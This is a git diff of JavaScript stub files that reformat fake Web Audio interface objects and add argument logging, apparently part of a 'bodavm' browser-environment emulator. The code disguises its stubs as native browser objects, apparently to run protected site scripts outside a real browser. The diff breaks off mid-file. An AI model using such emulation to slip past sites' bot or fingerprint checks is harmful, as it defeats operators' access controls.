1ad8ea21..f5d527a9 100644 --- a/env_xbb_lastest_jsdom/env/AudioEncoder.js +++ b/env_xbb_lastest_jsdom/env/AudioEncoder.js @@ -1,14 +1,93 @@ -// AudioEncoder对象 -bodavm.memory.globalobj['AudioEncoder'] = function AudioEncoder(){if (!(this instanceof AudioEncoder)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioEncoder': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioEncoder'], "AudioEncoder"); -bodavm.memory.globalobj['AudioEncoder'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['AudioEncoder'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('AudioEncoder', "isConfigSupported", {configurable:true, enumerable:true, writable:true, value:function isConfigSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].undefined, "AudioEncoder", "isConfigSupported", arguments)}}); -bodavm.toolsFunc.defineProperty('AudioEncoder', "encodeQueueSize", {configurable:true, enumerable:true, get:function encodeQueueSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "encodeQueueSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioEncoder', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioEncoder', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioEncoder', "configure", {configurable:true, enumerable:true, writable:true, value:function configure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "configure", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioEncoder', "encode", {configurable:true, enumerable:true, writable:true, value:function encode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "encode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioEncoder', "flush", {configurable:true, enumerable:true, writable:true, value:function flush (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "flush", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioEncoder', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioEncoder', "ondequeue", {configurable:true, enumerable:true, get:function ondequeue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "ondequeue_get", arguments)}, set:function ondequeue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "ondequeue_set", arguments)}},'prototype'); +// AudioEncoder对象 + +bodavm.memory.globalobj['AudioEncoder'] = function AudioEncoder() { + console.log_copy('AudioEncoder 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioEncoder)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioEncoder': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioEncoder'], "AudioEncoder"); +bodavm.memory.globalobj['AudioEncoder'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['AudioEncoder'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('AudioEncoder', "isConfigSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function isConfigSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].undefined, "AudioEncoder", "isConfigSupported", arguments); + } +}); +bodavm.toolsFunc.defineProperty('AudioEncoder', "encodeQueueSize", { + configurable: true, + enumerable: true, + get: function encodeQueueSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "encodeQueueSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioEncoder', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioEncoder', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioEncoder', "configure", { + configurable: true, + enumerable: true, + writable: true, + value: function configure() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "configure", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioEncoder', "encode", { + configurable: true, + enumerable: true, + writable: true, + value: function encode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "encode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioEncoder', "flush", { + configurable: true, + enumerable: true, + writable: true, + value: function flush() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "flush", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioEncoder', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioEncoder', "ondequeue", { + configurable: true, + enumerable: true, + get: function ondequeue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "ondequeue_get", arguments); + }, + set: function ondequeue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "ondequeue_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AudioListener.js b/env_xbb_lastest_jsdom/env/AudioListener.js index 9d57d984..3452be4e 100644 --- a/env_xbb_lastest_jsdom/env/AudioListener.js +++ b/env_xbb_lastest_jsdom/env/AudioListener.js @@ -1,14 +1,105 @@ -// AudioListener对象 -bodavm.memory.globalobj['AudioListener'] = function AudioListener(){if (!(this instanceof AudioListener)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioListener'], "AudioListener"); -bodavm.toolsFunc.defineProperty('AudioListener', "positionX", {configurable:true, enumerable:true, get:function positionX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "positionX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "positionY", {configurable:true, enumerable:true, get:function positionY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "positionY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "positionZ", {configurable:true, enumerable:true, get:function positionZ (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "positionZ_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "forwardX", {configurable:true, enumerable:true, get:function forwardX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "forwardX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "forwardY", {configurable:true, enumerable:true, get:function forwardY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "forwardY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "forwardZ", {configurable:true, enumerable:true, get:function forwardZ (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "forwardZ_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "upX", {configurable:true, enumerable:true, get:function upX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "upX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "upY", {configurable:true, enumerable:true, get:function upY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "upY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "upZ", {configurable:true, enumerable:true, get:function upZ (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "upZ_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "setOrientation", {configurable:true, enumerable:true, writable:true, value:function setOrientation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "setOrientation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioListener', "setPosition", {configurable:true, enumerable:true, writable:true, value:function setPosition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "setPosition", arguments)}},'prototype'); +// AudioListener对象 + +bodavm.memory.globalobj['AudioListener'] = function AudioListener() { + console.log_copy('AudioListener 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioListener)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioListener'], "AudioListener"); +bodavm.toolsFunc.defineProperty('AudioListener', "positionX", { + configurable: true, + enumerable: true, + get: function positionX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "positionX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "positionY", { + configurable: true, + enumerable: true, + get: function positionY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "positionY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "positionZ", { + configurable: true, + enumerable: true, + get: function positionZ() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "positionZ_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "forwardX", { + configurable: true, + enumerable: true, + get: function forwardX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "forwardX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "forwardY", { + configurable: true, + enumerable: true, + get: function forwardY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "forwardY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "forwardZ", { + configurable: true, + enumerable: true, + get: function forwardZ() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "forwardZ_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "upX", { + configurable: true, + enumerable: true, + get: function upX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "upX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "upY", { + configurable: true, + enumerable: true, + get: function upY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "upY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "upZ", { + configurable: true, + enumerable: true, + get: function upZ() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "upZ_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "setOrientation", { + configurable: true, + enumerable: true, + writable: true, + value: function setOrientation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "setOrientation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "setPosition", { + configurable: true, + enumerable: true, + writable: true, + value: function setPosition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "setPosition", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AudioNode.js b/env_xbb_lastest_jsdom/env/AudioNode.js index 2a66f10e..bf356f3d 100644 --- a/env_xbb_lastest_jsdom/env/AudioNode.js +++ b/env_xbb_lastest_jsdom/env/AudioNode.js @@ -1,13 +1,89 @@ -// AudioNode对象 -bodavm.memory.globalobj['AudioNode'] = function AudioNode(){if (!(this instanceof AudioNode)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioNode'], "AudioNode"); -bodavm.memory.globalobj['AudioNode'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['AudioNode'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('AudioNode', "context", {configurable:true, enumerable:true, get:function context (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "context_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioNode', "numberOfInputs", {configurable:true, enumerable:true, get:function numberOfInputs (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "numberOfInputs_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioNode', "numberOfOutputs", {configurable:true, enumerable:true, get:function numberOfOutputs (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "numberOfOutputs_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioNode', "channelCount", {configurable:true, enumerable:true, get:function channelCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelCount_get", arguments)}, set:function channelCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelCount_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioNode', "channelCountMode", {configurable:true, enumerable:true, get:function channelCountMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelCountMode_get", arguments)}, set:function channelCountMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelCountMode_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioNode', "channelInterpretation", {configurable:true, enumerable:true, get:function channelInterpretation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelInterpretation_get", arguments)}, set:function channelInterpretation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelInterpretation_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioNode', "connect", {configurable:true, enumerable:true, writable:true, value:function connect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "connect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioNode', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "disconnect", arguments)}},'prototype'); +// AudioNode对象 + +bodavm.memory.globalobj['AudioNode'] = function AudioNode() { + console.log_copy('AudioNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioNode'], "AudioNode"); +bodavm.memory.globalobj['AudioNode'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['AudioNode'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('AudioNode', "context", { + configurable: true, + enumerable: true, + get: function context() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "context_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioNode', "numberOfInputs", { + configurable: true, + enumerable: true, + get: function numberOfInputs() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "numberOfInputs_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioNode', "numberOfOutputs", { + configurable: true, + enumerable: true, + get: function numberOfOutputs() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "numberOfOutputs_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioNode', "channelCount", { + configurable: true, + enumerable: true, + get: function channelCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelCount_get", arguments); + }, + set: function channelCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelCount_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioNode', "channelCountMode", { + configurable: true, + enumerable: true, + get: function channelCountMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelCountMode_get", arguments); + }, + set: function channelCountMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelCountMode_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioNode', "channelInterpretation", { + configurable: true, + enumerable: true, + get: function channelInterpretation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelInterpretation_get", arguments); + }, + set: function channelInterpretation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "channelInterpretation_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioNode', "connect", { + configurable: true, + enumerable: true, + writable: true, + value: function connect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "connect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioNode', "disconnect", { + configurable: true, + enumerable: true, + writable: true, + value: function disconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioNode'].prototype, "AudioNode", "disconnect", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AudioParam.js b/env_xbb_lastest_jsdom/env/AudioParam.js index b2f540d9..f0fdf952 100644 --- a/env_xbb_lastest_jsdom/env/AudioParam.js +++ b/env_xbb_lastest_jsdom/env/AudioParam.js @@ -1,15 +1,117 @@ -// AudioParam对象 -bodavm.memory.globalobj['AudioParam'] = function AudioParam(){if (!(this instanceof AudioParam)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioParam'], "AudioParam"); -bodavm.toolsFunc.defineProperty('AudioParam', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "automationRate", {configurable:true, enumerable:true, get:function automationRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "automationRate_get", arguments)}, set:function automationRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "automationRate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "defaultValue", {configurable:true, enumerable:true, get:function defaultValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "defaultValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "minValue", {configurable:true, enumerable:true, get:function minValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "minValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "maxValue", {configurable:true, enumerable:true, get:function maxValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "maxValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "cancelAndHoldAtTime", {configurable:true, enumerable:true, writable:true, value:function cancelAndHoldAtTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "cancelAndHoldAtTime", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "cancelScheduledValues", {configurable:true, enumerable:true, writable:true, value:function cancelScheduledValues (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "cancelScheduledValues", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "exponentialRampToValueAtTime", {configurable:true, enumerable:true, writable:true, value:function exponentialRampToValueAtTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "exponentialRampToValueAtTime", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "linearRampToValueAtTime", {configurable:true, enumerable:true, writable:true, value:function linearRampToValueAtTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "linearRampToValueAtTime", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "setTargetAtTime", {configurable:true, enumerable:true, writable:true, value:function setTargetAtTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "setTargetAtTime", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "setValueAtTime", {configurable:true, enumerable:true, writable:true, value:function setValueAtTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "setValueAtTime", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParam', "setValueCurveAtTime", {configurable:true, enumerable:true, writable:true, value:function setValueCurveAtTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "setValueCurveAtTime", arguments)}},'prototype'); +// AudioParam对象 + +bodavm.memory.globalobj['AudioParam'] = function AudioParam() { + console.log_copy('AudioParam 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioParam)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioParam'], "AudioParam"); +bodavm.toolsFunc.defineProperty('AudioParam', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "automationRate", { + configurable: true, + enumerable: true, + get: function automationRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "automationRate_get", arguments); + }, + set: function automationRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "automationRate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "defaultValue", { + configurable: true, + enumerable: true, + get: function defaultValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "defaultValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "minValue", { + configurable: true, + enumerable: true, + get: function minValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "minValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "maxValue", { + configurable: true, + enumerable: true, + get: function maxValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "maxValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "cancelAndHoldAtTime", { + configurable: true, + enumerable: true, + writable: true, + value: function cancelAndHoldAtTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "cancelAndHoldAtTime", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "cancelScheduledValues", { + configurable: true, + enumerable: true, + writable: true, + value: function cancelScheduledValues() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "cancelScheduledValues", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "exponentialRampToValueAtTime", { + configurable: true, + enumerable: true, + writable: true, + value: function exponentialRampToValueAtTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "exponentialRampToValueAtTime", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "linearRampToValueAtTime", { + configurable: true, + enumerable: true, + writable: true, + value: function linearRampToValueAtTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "linearRampToValueAtTime", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "setTargetAtTime", { + configurable: true, + enumerable: true, + writable: true, + value: function setTargetAtTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "setTargetAtTime", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "setValueAtTime", { + configurable: true, + enumerable: true, + writable: true, + value: function setValueAtTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "setValueAtTime", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "setValueCurveAtTime", { + configurable: true, + enumerable: true, + writable: true, + value: function setValueCurveAtTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "setValueCurveAtTime", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/AudioParamMap.js b/env_xbb_lastest_jsdom/env/AudioParamMap.js index e47917c9..dd9e1ac6 100644 --- a/env_xbb_lastest_jsdom/env/AudioParamMap.js +++ b/env_xbb_lastest_jsdom/env/AudioParamMap.js @@ -1,10 +1,73 @@ -// AudioParamMap对象 -bodavm.memory.globalobj['AudioParamMap'] = function AudioParamMap(){if (!(this instanceof AudioParamMap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioParamMap'], "AudioParamMap"); -bodavm.toolsFunc.defineProperty('AudioParamMap', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AudioParamMap', "entries", 